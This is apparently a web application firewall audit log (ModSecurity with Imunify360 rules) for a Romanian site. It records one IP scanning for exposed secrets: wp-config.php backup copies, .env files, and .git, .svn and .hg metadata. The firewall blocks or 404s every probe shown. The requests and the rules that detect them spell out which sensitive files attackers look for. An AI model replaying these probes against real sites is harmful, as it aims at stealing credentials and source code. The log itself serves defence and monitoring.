Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZB72M7dE9KgIIOpQhrWAAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZB72M7dE9KgIIOpQhrWAAAAM8"]
Action: Intercepted (phase 2)
Stopwatch: 1789280751018997 56153 (- - -)
Stopwatch2: 1789280751018997 56153; combined=54944, p1=269, p2=54367, p3=0, p4=0, p5=308, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4a12f511-Z--

--12aa773b-A--
[13/Sep/2026:09:25:52.814039 +0300] aqZB8GM7dE9KgIIOpQhrWQAAAMM 169.40.142.190 53466 127.0.0.1 7081
--12aa773b-B--
GET /wp-config.php.old HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--12aa773b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--12aa773b-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqZB8GM7dE9KgIIOpQhrWQAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqZB8GM7dE9KgIIOpQhrWQAAAMM"]
Action: Intercepted (phase 2)
Stopwatch: 1789280752755831 58261 (- - -)
Stopwatch2: 1789280752755831 58261; combined=56818, p1=930, p2=55520, p3=0, p4=0, p5=367, sr=737, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--12aa773b-Z--

--1e620751-A--
[13/Sep/2026:09:25:54.623407 +0300] aqZB8mM7dE9KgIIOpQhrWwAAANQ 169.40.142.190 53486 127.0.0.1 7081
--1e620751-B--
GET /wp-config.php.orig HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--1e620751-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--1e620751-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqZB8mM7dE9KgIIOpQhrWwAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqZB8mM7dE9KgIIOpQhrWwAAANQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789280754571146 52320 (- - -)
Stopwatch2: 1789280754571146 52320; combined=50950, p1=212, p2=50419, p3=0, p4=0, p5=318, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1e620751-Z--

--70935b17-A--
[13/Sep/2026:09:25:56.420819 +0300] aqZB9GM7dE9KgIIOpQhrXAAAAM0 169.40.142.190 50410 127.0.0.1 7081
--70935b17-B--
GET /wp-config.php.txt HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--70935b17-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--70935b17-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqZB9GM7dE9KgIIOpQhrXAAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqZB9GM7dE9KgIIOpQhrXAAAAM0"]
Action: Intercepted (phase 2)
Stopwatch: 1789280756362196 58665 (- - -)
Stopwatch2: 1789280756362196 58665; combined=56890, p1=284, p2=56260, p3=0, p4=0, p5=345, sr=122, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--70935b17-Z--

--cb4dba63-A--
[13/Sep/2026:09:25:58.348056 +0300] aqZB9mM7dE9KgIIOpQhrXQAAANI 169.40.142.190 50426 127.0.0.1 7081
--cb4dba63-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--cb4dba63-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--cb4dba63-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZB9mM7dE9KgIIOpQhrXQAAANI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZB9mM7dE9KgIIOpQhrXQAAANI"]
Action: Intercepted (phase 2)
Stopwatch: 1789280758290237 57874 (- - -)
Stopwatch2: 1789280758290237 57874; combined=56484, p1=304, p2=55724, p3=0, p4=0, p5=456, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cb4dba63-Z--

--c8634b21-A--
[13/Sep/2026:09:26:01.612143 +0300] aqZB@Uwu1RSkptiiNIX0BwAAAIk 169.40.142.190 50428 127.0.0.1 7081
--c8634b21-B--
GET /.env HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--c8634b21-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--c8634b21-E--

--c8634b21-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "axapres.ro"] [uri "/.env"] [unique_id "aqZB@Uwu1RSkptiiNIX0BwAAAIk"]
Stopwatch: 1789280761605767 6426 (- - -)
Stopwatch2: 1789280761605767 6426; combined=4972, p1=298, p2=4489, p3=134, p4=9, p5=42, sr=151, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c8634b21-Z--

--a22c8235-A--
[13/Sep/2026:09:26:05.945421 +0300] aqZB-WM7dE9KgIIOpQhrYAAAANY 169.40.142.190 49916 127.0.0.1 7081
--a22c8235-B--
GET /.env.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--a22c8235-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--a22c8235-E--

--a22c8235-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.env.swp"] [unique_id "aqZB-WM7dE9KgIIOpQhrYAAAANY"]
Stopwatch: 1789280765936517 9013 (- - -)
Stopwatch2: 1789280765936517 9013; combined=7198, p1=501, p2=6527, p3=88, p4=10, p5=71, sr=187, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a22c8235-Z--

--f0f5017c-A--
[13/Sep/2026:09:26:08.038099 +0300] aqZB-0wu1RSkptiiNIX0CQAAAIA 169.40.142.190 49940 127.0.0.1 7081
--f0f5017c-B--
GET /.git/config HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--f0f5017c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f0f5017c-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqZB-0wu1RSkptiiNIX0CQAAAIA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqZB-0wu1RSkptiiNIX0CQAAAIA"]
Action: Intercepted (phase 2)
Stopwatch: 1789280767978339 59801 (- - -)
Stopwatch2: 1789280767978339 59801; combined=58133, p1=487, p2=57241, p3=0, p4=0, p5=404, sr=271, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f0f5017c-Z--

--2f745f1e-A--
[13/Sep/2026:09:26:09.559480 +0300] aqZCAWM7dE9KgIIOpQhrYgAAAMw 169.40.142.190 49950 127.0.0.1 7081
--2f745f1e-B--
GET /.git/HEAD HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--2f745f1e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--2f745f1e-E--

--2f745f1e-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/HEAD"] [unique_id "aqZCAWM7dE9KgIIOpQhrYgAAAMw"]
Stopwatch: 1789280769552481 7046 (- - -)
Stopwatch2: 1789280769552481 7046; combined=4006, p1=282, p2=3604, p3=74, p4=7, p5=39, sr=102, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2f745f1e-Z--

--287d1058-A--
[13/Sep/2026:09:26:11.168250 +0300] aqZCA2M7dE9KgIIOpQhrYwAAAMs 169.40.142.190 49956 127.0.0.1 7081
--287d1058-B--
GET /.git/index HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--287d1058-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--287d1058-E--

--287d1058-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/index||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/index||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/index"] [unique_id "aqZCA2M7dE9KgIIOpQhrYwAAAMs"]
Stopwatch: 1789280771160668 7637 (- - -)
Stopwatch2: 1789280771160668 7637; combined=5969, p1=338, p2=5472, p3=94, p4=9, p5=55, sr=147, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--287d1058-Z--

--866c4105-A--
[13/Sep/2026:09:26:11.631507 +0300] aqZCA2M7dE9KgIIOpQhrZAAAAM8 169.40.142.190 49966 127.0.0.1 7081
--866c4105-B--
GET /.svn/entries HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--866c4105-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--866c4105-H--
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.svn/entries"] [unique_id "aqZCA2M7dE9KgIIOpQhrZAAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.svn/entries"] [unique_id "aqZCA2M7dE9KgIIOpQhrZAAAAM8"]
Action: Intercepted (phase 2)
Stopwatch: 1789280771570652 60918 (- - -)
Stopwatch2: 1789280771570652 60918; combined=59605, p1=231, p2=58949, p3=0, p4=0, p5=425, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--866c4105-Z--

--aadd9e7b-A--
[13/Sep/2026:09:26:13.279346 +0300] aqZCBUwu1RSkptiiNIX0CgAAAJY 169.40.142.190 49968 127.0.0.1 7081
--aadd9e7b-B--
GET /.hg/store/00manifest.i HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--aadd9e7b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--aadd9e7b-H--
